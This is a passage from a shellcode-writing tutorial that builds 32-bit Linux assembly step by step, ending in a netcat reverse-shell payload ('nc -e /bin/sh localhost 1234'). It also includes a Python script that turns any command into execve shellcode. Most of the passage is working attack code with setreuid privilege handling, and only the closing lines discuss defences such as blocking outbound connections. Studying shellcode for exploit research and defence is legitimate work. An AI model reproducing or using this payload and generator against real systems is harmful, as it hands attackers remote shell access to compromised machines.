Which will then spawn an interactive shell after nc is run on the target server
You can test this on your own computer with localhost and a test port like: 1234
-- Shellcode: Part 1, execve --
Now we simply have to learn how to write shellcode and replace the call of
'/bin/sh' with '/bin/nc' and add the required parameters
So I started learning how to write shellcode here:
http://www.vividmachines.com/shellcode/shellcode.html
If you haven't read this tutorial (at least up to the windows portion) you
should do this now as I'll assume you know assembly and can write some
shellcode.
I got this basic '/bin/sh' exploit working:
;shellex.asm
[SECTION .text]
global _start
_start:
xor eax, eax
mov al, 70 ;setreuid is syscall 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short ender
starter:
pop ebx ;get the address of the string
xor eax, eax ;set eax (al) to 0
mov [ebx+7 ], al ;put a 1-byte NULL where the N is in the string
mov [ebx+8 ], eax ;put a 4-byte NULL where the AAAA is
mov al, 11 ;execve is syscall 11
lea ecx, [ebx+8] ;load the address of where the AAAA was (NUL)
lea edx, [ebx+8] ;do this again for the env pointer of execve
int 0x80
ender:
call starter
db '/bin/shNAAAA'
(note: all the shellcode used in this tutorial is in 32-bit, but the information
should extrapolate well to 64-bit)
You can read Steve Hanna's link above for an explaination about this, as well as
how to compile and run this. You'll need to specify 32-bit when you run nasm and
gcc, as well as: remove the NX bit on the stack when you compile with gcc. You
might be able to run this in 64-bit, though you'd need to change the assembly
and it would probably be more complicated.
I've changed his code slightly here, removing the args parameter from the execve
which isn't necessary when calling execve.
Some things that aren't clear in his explaination are that:
We need the call instruction so that our '/bin/sh...' string will be on the
stack and we can pop the address into ebx. After we call 'starter', the return
address pointer will be on the stack, which will be pointing to the
'instruction' after the call, which actually is just a pointer to our string.
The reason for the jmp is to remove the NULL characters in the call instruction.
With the jump, call will now have a negative address, where as it would have
been a small number without the jump, leaving \x00 bytes in the resulting
shellcode, which would've terminated the string early (\0 terminates strings).
Also, why we use 'mov X, al' to set NULL bytes is also to remove NULL
characters. If we set the register to 0 we'd have a NULL bytes in the shellcode,
effectively shortening it to that point. There can only by one NULL bytes in
normal shellcode, and it's at the end. This means we have to get the eax
register set to \x00 which we do with an 'xor eax, eax'
There are more tricks like this that can remove more bytes/instructions from
shellcode that may be troublesome, but this will work for a simple exploit.
These bytes/instructions are troublesome because they will prevent the exploit
string from being sent through certain protocols that will segment the exploit
when reading certain bytes or instructions that are particularly hard to write
ROP exploits for.
-- Shellcode: Part 2, arguments --
It's easy enough to replace 'sh' with 'nc' to run nc instead of sh, but we need
to add some arguments to it to get the reverse shell to execute.
Steve Hanna's write up doesn't explain how to send arguments through execve in
linux (windows can execute a command with arguments simply by using spaces) so I
started out simple, by testing arguments with 'echo'.
An array of strings (like the array passed to programs in 'char **argv') is
simply sequential 4-byte pointers to different strings ending in 4 NULL bytes,
so we simply have to create this array when calling execve. Here is the assembly
I came up with for executing 'echo test':
;echoex.asm
[SECTION .text]
global _start
_start:
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short ender
starter:
pop ebx
xor eax, eax
mov [ebx+9 ], al
mov [ebx+14], al
mov [ebx+15], ebx ;put the '/bin/echo' cmd into AAAA
lea ecx, [ebx+10] ;get the address of the first argument
mov [ebx+19], ecx ;load that into BBBB
mov [ebx+23], eax ;put NULL in CCCC
mov al, 11 ;execve is syscall 11
lea ecx, [ebx+15] ;load the argv array
lea edx, [ebx+23] ;load the env array (just NULL)
int 0x80
ender:
call starter
db '/bin/echoNtestNAAAABBBBCCCC'
First, we are setting the N's in the exploit string to NULL so now we have two
NULL-terminated strings.
We're setting the CCCC to NULL which we'll use in the arg and env arguments to
execve. We're setting AAAA to the first string because programs expect the
argv[0] to be the executing program, we do this by simply mov'ing ebx into it,
which already points the start of the command string. Now we just have to set argv[1]
to our argument, which we do using the ecx register as a temporary register to
do some addition to get the address of the string: 'test'. We can't add to ebx
because it's pointed to a string of the program being run: '/bin/echo'. You can
test this code using the method described in Steve Hanna's tutorial.
This shellcode should just output 'test' and you can use strace on the testing
binary to see that it is correctly calling execve.
-- Shellcode: Part 3, putting it together --
Now we just have to add more parameters and change 'echo' to 'nc':
;revex.asm
[SECTION .text]
global _start
_start:
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short ender
starter:
pop ebx
xor eax, eax
mov [ebx+7 ], al
mov [ebx+10], al
mov [ebx+18], al
mov [ebx+28], al
mov [ebx+33], al
mov [ebx+34], ebx
lea ecx, [ebx+8] ; load the correct addresses into each pointer into
; the argv array
mov [ebx+38], ecx
lea ecx, [ebx+11]
mov [ebx+42], ecx
lea ecx, [ebx+19]
mov [ebx+46], ecx
lea ecx, [ebx+29] ; last argument
mov [ebx+50], ecx
mov [ebx+54], eax
mov al, 11
lea ecx, [ebx+34]
lea edx, [ebx+54]
int 0x80
ender:
call starter
db '/bin/ncN-eN/bin/shNlocalhostN1234NAAAABBBBCCCCDDDDEEEEFFFF'
Writing this involves doing a lot of math in your head. After we replace all the
N's with NULL bytes, we have to load the addresses of each argument into the B's
through E's. This means calculating the argument strings' effective addresses
and replacing the capital letters with pointers to those addresses.
-- Automate --
This process is quite simple yet tedious so I wrote a python script to automate
it for any command:
import sys
import string
if len(sys.argv)<2:
print("Give me a cmd to turn into asm")
print("Ex: "+sys.argv[0]+" echo test")
else:
exp_str="N".join(sys.argv[1:])+"N"
args_str=""
null_str=""
null_pos=0
leaStr=""
execve_args_str="lea ecx, [ebx+"+str(len(exp_str))+"]\n"
for i,s in enumerate(sys.argv):
if i>0:
null_pos+=len(s)
null_str+="mov [ebx+"+str(null_pos)+"], al\n"
null_pos+=1
if i==len(sys.argv)-1:
leaStr+="mov [ebx+"+str(len(exp_str)+4*i)+"], eax\n"
execve_args_str+="lea edx, [ebx+"+str(len(exp_str)+4*i)+"]\n"
else:
leaStr+="lea ecx, [ebx+"+str(null_pos)+"]\n"
leaStr+="mov [ebx+"+str(len(exp_str)+4*i)+"], ecx\n"
args_str+=(string.ascii_uppercase[i]*4)
print(
'''
[SECTION .text]
global _start
_start:
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short ender
starter:
pop ebx
xor eax, eax
'''+
null_str+
"mov [ebx+"+str(len(exp_str))+"], ebx\n"+
leaStr+"mov eax, 11\n"+
execve_args_str+
"int 0x80\nender:\ncall starter\ndb '"+
exp_str+args_str+"'")
-- Conclusion --
A good way to prevent all of this is to prevent buffer overflows from occuring,
which can prevent attackers from doing a remote code execution in the first
place. Many programs seek to solve this.
Another practical way of preventing this is to prevent outgoing connections
from web applications on your server. This would need whitelisting on large
interconnected systems that communicate with eachother.